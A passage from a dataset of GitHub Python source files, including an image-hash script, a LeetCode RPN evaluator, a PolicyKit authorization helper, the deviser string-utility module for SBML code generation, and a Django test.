mtsd_a_hashes\nmtsd_hashes_df['p_hash'] = mtsd_p_hashes\nmtsd_hashes_df['d_hash'] = mtsd_d_hashes\nmtsd_hashes_df['w_hash'] = mtsd_w_hashes\n\nprint('[INFO] saving mtsd df')\nmtsd_hashes_df.to_csv('mtsd_hashes.csv', index=False)\n\n        # if hash in mapillary_hashes:\n        #     overlapping_image_filename.append(filename)\n        #     overlap_images += 1\n# print('num overlap images', overlap_images)\n\n# print('[INFO] saving images')\n# with open(\"mtsd_overlapping_filenames.txt\", \"w\") as output:\n#     for filename in overlapping_image_filename:\n#         output.write(str(filename) + '\\n')\n","repo_name":"wagner-group/reap-benchmark","sub_path":"scripts_gen_reap/check_mtsd_mapillary_image_similarity.py","file_name":"check_mtsd_mapillary_image_similarity.py","file_ext":"py","file_size_in_byte":3336,"program_lang":"python","lang":"en","doc_type":"code","stars":13,"dataset":"github-code","pt":"77"}
+{"seq_id":"39756294879","text":"\ndef evalRPN(tokens):\n    stack = []\n    for token in tokens:\n        if token not in \"+-/*\":\n            stack.append(int(token))\n        else:\n            right = stack.pop()\n            left = stack.pop()\n            if token == \"+\":\n                stack.append(left+right)\n            elif token == \"-\":\n                stack.append(left-right)\n            elif token == \"*\":\n                stack.append(left*right)\n            else:\n                stack.append(int(float(left)/right))\n    return stack.pop()\n\n# Go through the tokens, if a number appears, put it into the stack.\n# If an expression appears, pop the last two numbers in the stack and evaluate\n# them in the reverse order and append the result back into the stack.\n# O(n), O(n) space\ntokens = [\"2\",\"1\",\"+\",\"3\",\"*\"]\nvalue = evalRPN(tokens)\nprint(value)\n","repo_name":"patchangg/LeetCode","sub_path":"Python/Medium/150.py","file_name":"150.py","file_ext":"py","file_size_in_byte":823,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"73648230007","text":"soma = 0\nvalores = 0\n\nwhile True:\n    try:\n        n = input()\n\n        if n == '':\n            break\n\n        n = float(n)\n        valores += 1\n        soma += n\n\n\n    except EOFError:\n        break\n\nprint(f\"A soma é: {soma:.2f}\\nA média é: {soma / valores:.2f}\")\n","repo_name":"FelipeTakahashi/AVA","sub_path":"Algoritmos e Programação I/Laços e Condicionais/8.py","file_name":"8.py","file_ext":"py","file_size_in_byte":268,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"1228126850","text":"import dbus\nimport os\n\n# Stolen from solusconfig\n\nclass PolkitHelper:\n\n\tdef check_authorization(self, pid, action_id):\n\n\t\t# PolicyKit lives on the system bus\n\t\tbus = dbus.SystemBus()\n\t\tproxy = bus.get_object('org.freedesktop.PolicyKit1', '/org/freedesktop/PolicyKit1/Authority')\n\n\t\t# Create an automated interface object from org.freedesktop.PolicyKit1.Authority\n\t\t# Why? Because 1) You need this object and 2) Constantly getting dbus methods is a pain\n\t\t# in the hole. This automagics it a bit\n\t\tpk_authority = dbus.Interface(proxy,  dbus_interface='org.freedesktop.PolicyKit1.Authority')\n\n\t\t# We're enquiring about this process\n\t\tsubject = ('unix-process',{'pid':dbus.UInt32(pid,variant_level=1),'start-time':dbus.UInt64(0,variant_level=1)})\n\n\t\t# No cancellation.\n\t\tCANCEL_ID = ''\n\n\t\t# AllowUserInteractionFlag\n\t\tflags = dbus.UInt32(1) \n\n\t\t# Only for trusted senders, rarely used.\n\t\tdetails = {}\n\n\t\t# Returns all 3 of these. Fancy that. Invariably you'll only care whether the person is actually authorized or not.\n\t\t# i.e. you correctly created your dbus service so that the right group/user/etc can talk to it, and you created\n\t\t# your policykit configuration correctly\n\t\t(pk_granted,pk_other,pk_details) = pk_authority.CheckAuthorization(\n\t\t\tsubject,\n\t\t\taction_id ,\n\t\t\tdetails,\n\t\t\tflags,\n\t\t\tCANCEL_ID,\n\t\t\ttimeout=600) # Makes sense to use a timeout, you don't want your service to lockup\n\n\t\treturn pk_granted\n","repo_name":"solus-cold-storage/evoassist","sub_path":"src/polkit_helper.py","file_name":"polkit_helper.py","file_ext":"py","file_size_in_byte":1414,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"77"}
+{"seq_id":"40072498878","text":"import re\nfrom ..util import global_variables as gv\n\n\ndef upper_first(word):\n    \"\"\"\n    Change first character of a word to upper-case.\n    Deal with words starting \"csg\" or \"csG\" differently.\n\n    :param word: word we want to change.\n    :return: changed word.\n\n    Note the SBML Level 3 Spatial Geometry package uses a set of classes\n    named CSGFoo; where the capitalised version of the name will always\n    have the 'CSG' in capitals. This case is considered within this function.\n\n    .. code-block:: default\n\n        upper_first('csgsomething') -> \"CSGsomething\"\n        upper_first('cat') -> \"Cat\"\n        upper_first('csgcat') -> \"CSGcat\"\n        upper_first('cscat') -> \"Cscat\"\n        upper_first('csgeometry') -> \"CSGeometry\"\n        upper_first('csGeometry') -> \"CSGeometry\"\n        upper_first('a') -> \"A\"\n    \"\"\"\n    if len(word) == 0:\n        return word\n    # use_element_name_directly for spatial CSGFoo classes\n    if word.startswith('csg') or word.startswith('csG'):\n        if word == 'csgeometry' or word == 'csGeometry':\n            returned_word = 'CSGeometry'\n        else:\n            returned_word = 'CSG' + word[3:len(word)]\n    else:\n        returned_word = word[0].upper() + word[1:len(word)]\n    return returned_word\n\n\ndef lower_first(word):\n    \"\"\"\n    Change first character of a word to lower-case.\n    Deal with words starting \"CSG\" differently.\n\n    :param word: word we want to change.\n    :return: changed word.\n\n    Note the SBML Level 3 Spatial Geometry package uses a set of classes\n    named CSGFoo; where the capitalised version of the name will always\n    have the 'CSG' in capitals. This case is considered within this function.\n    \"\"\"\n    # use_element_name_directly for spatial CSGFoo classes\n    returned_word = ''\n    if word is None or word == '':\n        return returned_word\n    elif word.startswith('CSG'):\n        if word == 'CSGeometry':\n            returned_word = 'csGeometry'\n        else:\n            returned_word = 'csg' + word[3:len(word)]\n    else:\n        returned_word = word[0].lower() + word[1:len(word)]\n    return returned_word\n\n\ndef abbrev_name(name):\n    \"\"\"\n    Abbreviate a name. Return in lower case.\n\n    :param name: the name to abbreviate\n    :return: returns abbreviated form\n\n    This takes any capitals in the name and returns these as a lowercase\n    abbreviation of the name. This facilitates the use of names in functions\n    such as getFoo(Model *m), where m is the abbreviation of Model.\n    Note if the name argument contains no capitals then the first letter\n    is returned as the abbreviation.\n\n    .. code-block:: default\n\n        abbrev_name('thisIsATest') -> \"iat\"\n        abbrev_name('CAT') -> \"cat\"\n        abbrev_name('cat') -> \"c\"\n\n    \"\"\"\n    abbrev = ''\n    for i in range(0, len(name)):\n        if name[i].isupper():\n            abbrev = abbrev + name[i]\n    if abbrev == '' and len(name) > 0:  # name is all lower-case\n        abbrev = name[0]  # just return the first letter in name\n    return abbrev.lower()\n\n\ndef abbrev_lo_name(loname):\n    \"\"\"\n    The function abbreviates the 'ListOf' part of a class name to 'LO'. If\n    the argument does not start ListOf, it returns an empty string.\n\n    :param loname: string to transform\n    :return: transformed string\n\n    .. code-block:: default\n\n        abbrev_lo_name('ListOfFoo') -> \"LOFoo\"\n        abbrev_lo_name('spaghetti') -> \"\"\n\n    \"\"\"\n    if loname.startswith('ListOf'):\n        return 'LO' + loname[6:]\n    else:\n        return ''\n\n\ndef list_of_name(name, add_prefix=True):\n    \"\"\"\n    Given a name, get \"list of\" name.\n\n    :param name: the name to get \"list of\" name for\n    :param add_prefix: if True and we are not writing code for a package\n        prepend the global prefix to returned string\n    :return: the \"list of\" name string e.g. ListOfName\n\n    .. code-block:: default\n\n         list_of_name('FooParameter\", False) -> \"ListOfFooParameters\"\n\n         gv.prefix = 'SBML'\n         gv.is_package = True\n         list_of_name('FooParameter', True) -> \"ListOfFooParameters\"\n         list_of_name('FooParameter', False) -> \"ListOfFooParameters\"\n\n         gv.prefix = 'SBML'\n         gv.is_package = False\n         list_of_name('FooParameter', True) -> \"SBMLListOfFooParameters\"\n         list_of_name('FooParameter', False) -> \"ListOfFooParameters\"\n\n    \"\"\"\n    prefix = ''\n    if add_prefix and not gv.is_package:\n        prefix = gv.prefix  # e.g. \"SBML\"\n    return prefix + 'ListOf' + plural_no_prefix(name)\n\n\ndef lower_list_of_name_no_prefix(name):\n    \"\"\"\n    For a string, return \"list of name\", possibly without the prefix.\n\n    :param name: string we want the \"list of\" name for\n    :return: the \"list of\" name, possibly without prefix.\n\n    .. code-block:: default\n\n         lower_list_of_name_no_prefix('fox') -> \"listOfFoxes\"\n\n    \"\"\"\n    return 'listOf' + plural_no_prefix(upper_first(name))\n\n\ndef cap_list_of_name(name, add_prefix=True):\n    \"\"\"\n    Get the \"list of\" name for a string, with first letter in upper-case.\n\n    :param name: the string we want the \"list of\" name for.\n    :param add_prefix: if True, prepend returned name with global prefix\n                      (e.g. \"SBML') if not a package.\n    \"\"\"\n    name = upper_first(name)\n    return list_of_name(name, add_prefix)\n\n\ndef cap_list_of_name_no_prefix(name):\n    \"\"\"\n    Get the \"list of\" name for a string, without the prefix if it is not\n    a package, with the first letter in upper-case.\n\n    :param name: the string which we want the \"list of\" name for.\n    :return: the \"list of\" name.\n\n    .. code-block:: default\n\n         cap_list_of_name_no_prefix('fox') -> \"ListOfFoxes\"\n\n         gv.is_package = False\n         cap_list_of_name_no_prefix('SBMLFoo') ->\"ListOfFoos\"\n    \"\"\"\n    name = upper_first(name)\n    return list_of_name(name, False)\n\n\ndef plural_no_prefix(name):\n    \"\"\"\n    Return the plural of a string, removing prefix if it's not a package.\n\n    :param name: the string (in singular form)\n    :return: the plural form, without prefix if not a package.\n    \"\"\"\n    if gv.is_package:\n        return plural(name)\n    else:\n        new_name = remove_prefix(name)\n        return plural(new_name)\n\n\ndef plural(name):\n    \"\"\"\n    Attempt to find the plural of a word\n\n    :param name: the word, probably in singular form.\n    :return: the plural of the word, or the word itself if no plural found.\n\n    .. code-block:: default\n\n        plural('cat') -> \"cats\"\n        plural('dogs') -> \"dogs\"\n        plural('child') -> \"children\"\n        plural('disinformation') -> \"disinformation\"\n        plural('fox') -> \"foxes\"\n        plural('party') -> \"parties\"\n        plural('cloud') -> \"clouds\"\n        plural('something') -> \"somethings\"\n\n    \"\"\"\n    if name.endswith('s'):\n        returned_word = name\n    elif name.endswith('nformation'):\n        returned_word = name\n    elif name.endswith('hild'):\n        returned_word = name + 'ren'\n    elif name.endswith('x'):\n        returned_word = name[0:len(name)] + 'es'\n    elif name.endswith('y'):\n        returned_word = name[0:len(name)-1] + 'ies'\n    else:\n        returned_word = name + 's'\n    return returned_word\n\n\ndef singular(name):\n    \"\"\"\n    Attempt to find the singular of a word\n\n    :param name: the word, probably in plural form.\n    :return: the singular of the word, or the word itself\n             if no singular found.\n\n    .. code-block:: default\n\n         singular('cats') -> \"cat\"\n         singular('dogs') -> \"dogs\"\n         singular('children') -> \"child\"\n         singular('disinformation') -> \"disinformation\"\n         singular('coxes') -> \"cox\"\n         singular('parties') -> \"party\"\n         singular('clouds') -> \"cloud\"\n         singular('somethings') -> \"something\"\n\n    \"\"\"\n    returned_word = name\n    length = len(name)\n    if name.endswith('ies'):\n        returned_word = name[0:length-3] + 'y'\n    elif name.endswith('xes'):\n        returned_word = name[0:length-2]\n    elif name.endswith('s'):\n        returned_word = name[0:length-1]\n    elif name.endswith('hildren'):\n        returned_word = name[0:length-3]\n    return returned_word\n\n\ndef remove_prefix(name, remove_package=True,\n                  prefix='', remove_doc_prefix=False):\n    \"\"\"\n    Remove prefix from a string; if we are writing an SBML package where the\n    package prefix has been declared this will be removed.\n\n    :param name: the string which we wish to remove the prefix from.\n    :param remove_package: if True, and global prefix is \"SBML\",\n        remove the package prefix either gv.package_prefix\n        or 'prefix' argument given.\n        Defaults to True.\n    :param prefix: the prefix to remove if global prefix is \"SBML\",\n        gv. package_prefix is empty, and remove_package is True.\n        Defaults to ''.\n    :param remove_doc_prefix: if True,\n        and name ends in 'Document', remove prefix.\n        Defaults to False.\n    :return: the input string, possibly with something\n        removed at the beginning.\n\n    .. code-block:: default\n\n        Writing SBML package with gv.package_prefix 'Fbc'\n\n        remove_prefix('FbcType') returns 'Type'\n        remove_prefix('FbcDocument', remove_doc_prefix=True) returns 'Document'\n        remove_prefix('FbcDocument', remove_doc_prefix=False)\n                      returns 'FbcDocument'\n\n        Writing SBML package with gv. package_prefix ''\n\n        remove_prefix('FbcType') returns 'FbcType'\n        remove_prefix('FbcType', prefix='Fbc') returns 'Type'\n\n\n    \"\"\"\n    prefix_to_remove = ''\n    if gv.prefix == 'SBML' and remove_package:\n        # we might want to remove the name of the package\n        if gv.is_package and gv.package_prefix != '':\n            prefix_to_remove = gv.package_prefix\n        elif prefix != '':\n            prefix_to_remove = prefix\n    else:\n        prefix_to_remove = gv.prefix\n    length = len(prefix_to_remove)\n\n    if length == 0 or not is_prefixed_name(name, prefix_to_remove):\n        return name\n    if not is_prefixed_document_class(name, prefix_to_remove):\n        return name[length:]\n    elif remove_doc_prefix:\n        return name[length:]\n    else:\n        return name\n\n\ndef is_prefixed_name(name, prefix):\n    \"\"\"\n    Returns true if name begins with given prefix.\n\n    :param name: name to query.\n    :param prefix: prefix to look for.\n    :return: True if name begins with prefix with first letter of name\n        being capital and prefix case insensitive, False otherwise.\n\n    .. code-block:: default\n\n        The following return True:\n            is_prefixed_name('fooSalt',, 'foo')\n            is_prefixed_name('FOOSalt',, 'foo')\n            is_prefixed_name('foOSalt',, 'FOo')\n\n        The following return False:\n            is_prefixed_name('fooSalt',, 'foot')\n            is_prefixed_name('FOOsalt',, 'foo')\n\n    \"\"\"\n\n    uppername = name.upper()\n    upperprefix = prefix.upper()\n\n    if uppername.startswith(upperprefix):\n        first = name[len(prefix)]\n        if first == first.upper():\n            return True\n    return False\n\n\ndef is_prefixed_document_class(name, prefix):\n    \"\"\"\n    :param name: name to query.\n    :param prefix: prefix to look for.\n    :return: True if name begins with prefix and endswith 'Document'\n        and prefix is case insensitive, False otherwise.\n    \"\"\"\n    if name.endswith('Document'):\n        return is_prefixed_name(name, prefix)\n    return False\n\n\ndef get_indefinite(name):\n    \"\"\"\n    Get the indefinite article for the name supplied.\n\n    :param name: the name we want the indefinite article (and or a) for.\n    :return: 'an' if name starts with a vowel, else 'a'\n\n    Note this function is not complete and makes no attempt to\n    account for anomalies in the English language\n    \"\"\"\n    for char in ('a', 'A', 'e', 'E', 'i', 'I', 'o', 'O', 'u', 'U'):\n        if name.startswith(char):\n            return 'an'\n    return 'a'\n\n\ndef standard_element_name(name):\n    \"\"\"\n    Standardise an element name.\n\n    :param name: the name to standardise\n    :return: standardised name.\n\n    Remove spaces, and any trailing '*', ',' or '_t'.\n    If it's a list of something, convert to singular.\n    Capitalise standard name.\n\n    .. code-block:: default\n\n        standard_element_name('listOfFoxes') -> \"Fox\"\n        standard_element_name('apple') -> \"Apple\"\n        standard_element_name('foo_t') -> \"Foo\"\n\n    \"\"\"\n    name = remove_spaces(name)\n    length = len(name)\n    temp = name\n\n    # Don't want * , _t at end\n    if name.endswith('*'):\n        temp = name[0:length-1]\n    elif name.endswith(','):\n        temp = name[0:length-1]\n    elif name.endswith('_t'):\n        temp = name[0:length-2]\n    returned_word = temp\n\n    # Also don't want ListOf\n    if returned_word.startswith('ListOf') or \\\n            returned_word.startswith('listOf'):\n        temp = singular(returned_word[6:length])\n    return upper_first(temp)\n\n\ndef get_library_suffix(name):\n    \"\"\"\n    Get library suffix of a word.\n\n    :param name: the word\n    :return: library suffix, with all but first character in lower-case.\n\n    .. code-block:: default\n\n         get_library_suffix('library') -> \"Rary\"\n         get_library_suffix('libSBML') -> \"Sbml\"\n         get_library_suffix('cat') -> \"Cat\"\n         get_library_suffix('lib') -> \"\"\n\n    \"\"\"\n    ret_name = name.lower()\n    if ret_name.startswith('lib'):\n        ret_name = ret_name[3:]\n    return upper_first(ret_name)\n\n############################################\n# The following functions are specifically for use when writing latex\n\n\ndef wrap_token(name, pkg=''):\n    \"\"\"\n    Returns the name wrapped as a token specifically for writing latex\n\n    :param name: the name to wrap\n    :param pkg: include this, if present\n    :return: the \"wrapped\" name\n\n    .. code-block:: default\n\n        wrap_token('id') -> \"\\\\\\\\token{'id'}\"\n        wrap_token('id', 'comp') -> \"\\\\\\\\token{'comp:\\\\\\\\-id'}\"\n\n    \"\"\"\n    if pkg == '':\n        return '\\\\token{' + name + '}'\n    else:\n        return '\\\\token{' + pkg + ':\\\\-' + name + '}'\n\n\ndef wrap_type(given_type, element='', use_element_name_directly=False):\n    \"\"\"\n    Wraps the given type in a string that will be used in a latex\n    description of that type.\n\n    :param given_type: the type we want to wrap, e.g. 'array', 'enum',...\n    :param element: where given_type is a collection this gives the\n        name of the element in the collection\n        OR\n        if we want the type of this element directly (hack = True)\n    :param use_element_name_directly: special case which can\n           be used for 'element' type\n    :return: string describing the type and the element\n\n    .. code-block:: default\n\n        wrap_type('array', 'double') -> \"consisting of an array of \\\\\\\\primtype{'double'}\"\n        wrap_type('SId') -> \"of type \\\\\\\\primtype{'SId'}\"\n        wrap_type('', 'Unit', True) -> \"of type \\\\\\\\Unit\"\n\n    \"\"\"\n    if given_type == 'array':\n        return 'consisting of an array of \\\\primtype{' + element + '}'\n    elif given_type == 'enum':\n        element_name = texify(element)\n        return 'of type \\\\primtype{' + element_name + '}'\n    elif given_type == 'element':\n        if use_element_name_directly:\n            return 'of type \\\\' + element\n        else:\n            return wrap_token(element)\n    elif given_type == 'lo_element':\n        return wrap_token(element)\n    elif given_type == 'inline_lo_element':\n        return 'TO DO: add type'\n    else:\n        return 'of type \\\\primtype{' + given_type + '}'\n\n\ndef wrap_section(name, add_class=True, add_extended=False):\n    \"\"\"\n    'Wrap' a section name. Section names are given to each section within latex\n    this is used to wrap the section name so that the text creates a link.\n\n    :param name: name of the text section\n    :param add_class: if True add '-class'  to wrapped name\n    :param add_extended: if True prepend name with 'extended-'\n        (add_class must be True or 'extended' will not be prepended'\n    :return: the wrapped section name\n\n    .. code-block:: default\n\n        wrap_section('Cat') -> \"\\\\\\\\sec{cat-class}\"\n        wrap-section('Cat', add_class=False) -> \"\\\\\\\\sec{cat}\n        wrap_section('Cat', add_extended=True) -> \"\\\\\\\\sec{extended-cat-class}\"\n        wrap-section('Cat', add_class=False, add_extended=True) -> \"\\\\\\\\sec{cat}\n\n    \"\"\"\n    if add_class:\n        return '\\\\sec{' + make_tex_class(name, add_extended) + '}'\n    else:\n        return '\\\\sec{' + name + '}'\n\n\ndef make_tex_class(name, add_extended=False):\n    \"\"\"\n    Add '-class' to end of a lower-case string\n\n    :param name: the string to take in, and convert to lower-case\n    :param add_extended: if True, prepend result with 'extended-'\n    :return: the string made as a class\n\n    .. code-block:: default\n\n        make_tex_class('Irenaeus') -> \"irenaeus-class\"\n        make_tex_class('Irenaeus\", True) -> \"extended-irenaeus-class\"\n\n    \"\"\"\n    if add_extended:\n        return 'extended-' + name.lower() + '-class'\n    else:\n        return name.lower() + '-class'\n\n\ndef wrap_enum(name):\n    \"\"\"\n    'Wrap' an enum name\n\n    :param name: the enum to wrap\n    :return: the wrapped form of the enum\n\n    Note enums are declared as a data type in the documentation and thus need\n    to be wrapped with the primitive type identifier ('primtype')\n\n    .. code-block:: default\n\n        wrap_enum('Cat') -> '\\\\\\\\primtype{Cat}'\n\n    \"\"\"\n    return '\\\\primtype{' + name + '}'\n\n\n# TODO come back to writing tex files when fixing #53\ndef get_tex_element_name(attribute, add_prefix_if_not_pkg=True,\n                         leave_pkg_prefix=True):\n    \"\"\"\n    Get the name of an element node for use in text (specifications or\n    validation rules).\n\n    :param attribute: dictionary of information about the element.\n    :param add_prefix_if_not_pkg: boolean indicating whether the\n        global prefix should be prepended to the name if this is not a package\n    :param leave_pkg_prefix:\n        boolean indication whether to leave a prefix in place\n    :return: the name, if available, else 'FIX_ME'.\n\n     .. code-block:: default\n\n        attribute['type'] = 'element'\n        attribute['element'] = 'Unit'\n\n        get_tex_element_name(attribute) -> 'Unit'\n\n        attribute['type'] = 'lo_element'\n        attribute['name'] = 'myLoTest'\n\n        get_tex_element_name(attribute, add_prefix_if_not_pkg=False)\n                            -> '\\\\\\\\ListOfMyLoTests'\n   \"\"\"\n    if 'type' in attribute:\n        name = ''\n        if 'texname' in attribute:\n            name = attribute['texname']\n        if len(name) == 0:  # No texname\n            if leave_pkg_prefix:\n                name = remove_prefix(attribute['name'])\n            else:\n                name = attribute['name']\n        if attribute['type'] in ['lo_element', 'inline_lo_element']:\n            if leave_pkg_prefix:\n                return '\\\\{0}'.\\\n                    format(cap_list_of_name(name, add_prefix_if_not_pkg))\n            else:\n                if 'listOfClassName' in attribute and \\\n                        attribute['listOfClassName'] != '':\n                    return '\\\\{0}'.format(\n                        remove_prefix(attribute['listOfClassName']))\n                else:\n                    return '\\\\{0}'.format(cap_list_of_name_no_prefix(name))\n        elif attribute['type'] == 'element':\n            if attribute['element'] == 'ASTNode*':\n                return 'MathML math'\n            else:\n                return attribute['element']\n        else:\n            return 'FIX_ME'\n    elif 'isListOf' in attribute:\n        if attribute['isListOf']:\n            return '\\\\{0}'.format(cap_list_of_name(\n                remove_prefix(attribute['name'])))\n        else:\n            return '\\\\{0}'.format(upper_first(\n                remove_prefix(attribute['name'])))\n    else:\n        return 'FIX_ME'\n\n# End of latex specific functions\n##################################################\n\n\ndef get_sid_refs(refs):\n    \"\"\"\n    This function is specifically designed for when an attribute can point to\n    one or more element types and formatting lines in text referring to the\n    element(s).\n\n    :param refs: a string which is a comma-separated sequence of element names\n    :return: a tuple where the first is a string representing a textual list\n        of the elements and the second is a string\n        representing a combined type.\n\n    .. code-block:: default\n\n        get_sid_refs('cat,dog') = [\"Cat or \\\\Dog\", \"CatOrDog\"]\n\n    \"\"\"\n    if refs == '':\n        return['', 'SId']\n    elif ',' not in refs:\n        return [upper_first(refs), upper_first(refs)]\n    else:\n        ret_string = ''\n        ret_type = ''\n        str_refs = refs.split(',')\n        length = len(str_refs)\n        if length > 0:\n            ret_string = upper_first(str_refs[0])\n            ret_type = upper_first(str_refs[0])\n            for i in range(1, length):\n                ret_string += ' or \\\\{0}'.format(upper_first(str_refs[i]))\n                ret_type += 'Or{0}'.format(upper_first(str_refs[i]))\n        return [ret_string, ret_type]\n\n\ndef replace_digits(name):\n    \"\"\"\n    Replace the numerical digits in a string with their English words.\n\n    :param name: the input string, possibly containing digits\n    :return: the same string, but with digits replaced by words\n\n    .. code-block:: default\n\n         replace_digits('John 3:16') -> \"John Three:OneSix\"\n\n    \"\"\"\n    mydict = {'0': 'Zero', '1': 'One', '2': 'Two', '3': 'Three', '4': 'Four',\n              '5': 'Five', '6': 'Six', '7': 'Seven', '8': 'Eight', '9': 'Nine'}\n\n    for item in mydict:\n        name = re.sub(item, mydict[item], name)\n\n    return name\n\n\ndef replace_underscore(name):\n    \"\"\"\n    Replace underscore characters in a string with escaped underscores.\n\n    :param name: string to process\n    :return: string with every '_' changed to '\\\\_'.\n    \"\"\"\n    name = re.sub('_', '\\\\_', name)\n    return name\n\n\ndef remove_spaces(name):\n    \"\"\"\n    Remove all space characters in a string.\n\n    :param name: input string, possibly containing spaces\n    :return: the input string, but with space characters removed.\n\n    .. code-block:: default\n\n         remove_spaces('   hello   world  ') -> \"helloworld\"\n\n    \"\"\"\n    newname = name.replace(' ', '')\n    return newname\n\n\ndef remove_hyphens(name):\n    \"\"\"\n    Remove hyphens and capitalise each word (after first hyphen) in a string.\n\n    :param name: input string\n    :return: [newstring, boolean indicating if hyphen was removed]\n\n    .. code-block:: default\n\n        remove_hyphens('this-is-a-test') -> [\"thisIsATest\", True]\n        remove_hyphens('cat-') -> [\"cat\", True]\n        remove_hyphens('-cat') -> [\"Cat\", True]\n        remove_hyphens('NoHyphens') -> [\"NoHyphens\", False]\n\n    \"\"\"\n    removed_hyphen = False\n    if '-' not in name:\n        return [name, removed_hyphen]\n    else:\n        newname = ''\n        hyphen = False\n        for c in name:\n            if c != '-':\n                if not hyphen:\n                    newname += c\n                else:\n                    newname += c.upper()\n                    hyphen = False\n            else:\n                hyphen = True\n                removed_hyphen = True\n        return [newname, removed_hyphen]\n\n\ndef texify(name):\n    \"\"\"\n    Replace digits with number words, escape underscores, and remove spaces.\n\n    :param name: input string\n    :return: transformed string\n\n    .. code-block:: default\n\n         texify('  phase_1: part_2  ') -> \"phase\\\\_One:part\\\\_Two')\n         texify('012_27 44_8 ') -> \"ZeroOneTwo\\\\_TwoSevenFourFour\\\\_Eight\"\n\n    \"\"\"\n    name = replace_digits(name)\n    name = replace_underscore(name)\n    name = remove_spaces(name)\n    return name\n\n\ndef compare_no_case(test, reference):\n    \"\"\"\n    Are these two strings the same, when both are in lower case?\n\n    :param test: first string to compare\n    :param reference: second word to compare\n    :return: True if both strings identical when converted to lower case.\n\n    .. code-block:: default\n\n        compare_no_case('this is a test\", \"This iS a TEST') -> True\n\n    \"\"\"\n    return test.lower() == reference.lower()\n\n\ndef get_class_from_plugin(plugin, package):\n    \"\"\"\n    Get the name of a class from a plugin. A plugin class will\n    have a name such as PkgFooPlugin. This function will\n    return 'Foo'.\n\n    :param plugin: the full name of the plugin class\n    :param package: the name of the package\n    :return: the name of the class\n\n    .. code-block:: default\n\n        get_class_from_plugin('CompModelPlugin\", \"comp') -> \"Model\"\n\n    \"\"\"\n    len_pkg = len(package)\n    len_plugin = len(plugin)\n    # we are expecting PkgFooPlugin\n    if len_plugin < len_pkg or len_pkg > len_plugin - 6 \\\n            or not plugin.endswith('Plugin'):\n        return ''\n    return plugin[len_pkg:len_plugin-6]\n\n\ndef prefix_name(name):\n    \"\"\"\n    Prepend the global variables' prefix to a word, if not already present.\n    Except for XMLNode and ASTNode.\n\n    :param name: the word\n    :return: the prefixed word\n    \"\"\"\n    if name.startswith(gv.prefix):\n        return name\n    elif name == 'XMLNode' or name == 'ASTNode':\n        return name\n    elif name == 'SBase':\n        return gv.prefix + \"Base\"\n    else:\n        return gv.prefix + name\n\n\ndef prefix_classes(working_class):\n    \"\"\"\n    TODO: sort this function\n    Prefix the names of items in a dictionary of information about\n    an element node.\n\n    :param working_class: the dictionary\n    :return: nothing\n\n    Prefix names - if we are working with another library we want class\n    prefixed but element names to stay untouched\n    \"\"\"\n    existing_name = working_class['name']\n    working_class['name'] = prefix_name(existing_name)\n    if working_class['baseClass'] != gv.baseClass:\n        working_class['baseClass'] = prefix_name(working_class['baseClass'])\n    if 'elementName' not in working_class or \\\n            len(working_class['elementName']) == 0:\n        working_class['elementName'] = lower_first(existing_name)\n\n    if 'lo_class_name' in working_class and \\\n            len(working_class['lo_class_name']) > 0:\n        name = working_class['lo_class_name']\n        working_class['lo_class_name'] = prefix_name(name)\n\n    # TODO will 'attribs' always be a key which is present?\n    # I added this check so a simple test would work, but I don't\n    # know if this will actually ever occur in real life.\n    if 'attribs' not in working_class:  # Is this ever true?\n        return\n\n    for attrib in working_class['attribs']:\n        if attrib['type'] == 'lo_element' or attrib['type'] == 'element' or\\\n                attrib['type'] == 'inline_lo_element':\n            attrib['element'] = prefix_name(attrib['element'])\n        if 'concrete' in attrib:\n            for conc in attrib['concrete']:\n                conc['element'] = prefix_name(conc['element'])\n        # if 'concrete' in attrib and len(attrib['concrete']) > 0:\n        #     for conc in attrib['concrete']:\n        #         conc['element'] = prefix_name(conc['element'])\n\n\ndef is_camel_case(name):\n    \"\"\"\n    Is this word in camel case?\n\n    :param name: the word we are interested in\n    :return: True if word is in camel case, False if not\n\n    .. code-block:: default\n\n        is_camel_case('FooParameter') -> True\n        is_camel_case('fooParameter') -> True\n        is_camel_case('fooparameter') -> False\n        is_camel_case('Fooparameter') -> False\n    \"\"\"\n    camel_case = False\n    adjust_name = lower_first(remove_prefix(name))\n    lower_name = adjust_name.lower()\n    if lower_name != adjust_name:\n        camel_case = True\n    return camel_case\n","repo_name":"sbmlteam/deviser","sub_path":"deviser/util/strFunctions.py","file_name":"strFunctions.py","file_ext":"py","file_size_in_byte":27468,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"77"}
+{"seq_id":"70982584897","text":"from django.core.cache import caches\nfrom django.db import connections\nfrom django.test import TestCase\n\n\nclass DjangoDxTestCase(TestCase):\n    def test_database_connection(self):\n        default_connection = connections['default']\n        cursor = default_connection.cursor()\n        self.assertIsNotNone(cursor)\n\n    def test_cache_backend_connection(self):\n        connection = caches.create_connection(\"default\")\n        self.assertIsNotNone(connection)\n","repo_name":"betaflag/django_dx","sub_path":"django_dx/tests.py","file_name":"tests.py","file_ext":"py","file_size_in_byte":458,"program_lang":"python","lang":"en","doc_type":"code","stars":29,"dataset":"github-code","pt":"79"}
+{"seq_id":"25601902382","text":"def retrieveMostFrequentlyUsedWords(literatureText, wordsToExclude):\n    # split literatureText, loop over each word, maintain a dict about how often used\n    # not going to count any word in wordsToExclude\n    outputs = []\n    countMap = {}\n    words = literatureText.split()\n    for word in words:\n        if word in wordsToExclude:\n            continue\n        if word not in countMap:\n            countMap[word] = 0\n        countMap[word] += 1\n    if len(countMap) == 0:\n        return outputs\n    maxCount = max(countMap.values())\n    for word, count in countMap.items():\n        if count == maxCount:\n            outputs.append(word)\n    return outputs","repo_name":"jnez81/firstapp","sub_path":"Python code/Practice code/retrieveFreqUsedWords.py","file_name":"retrieveFreqUsedWords.py","file_ext":"py","file_size_in_byte":658,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"79"}
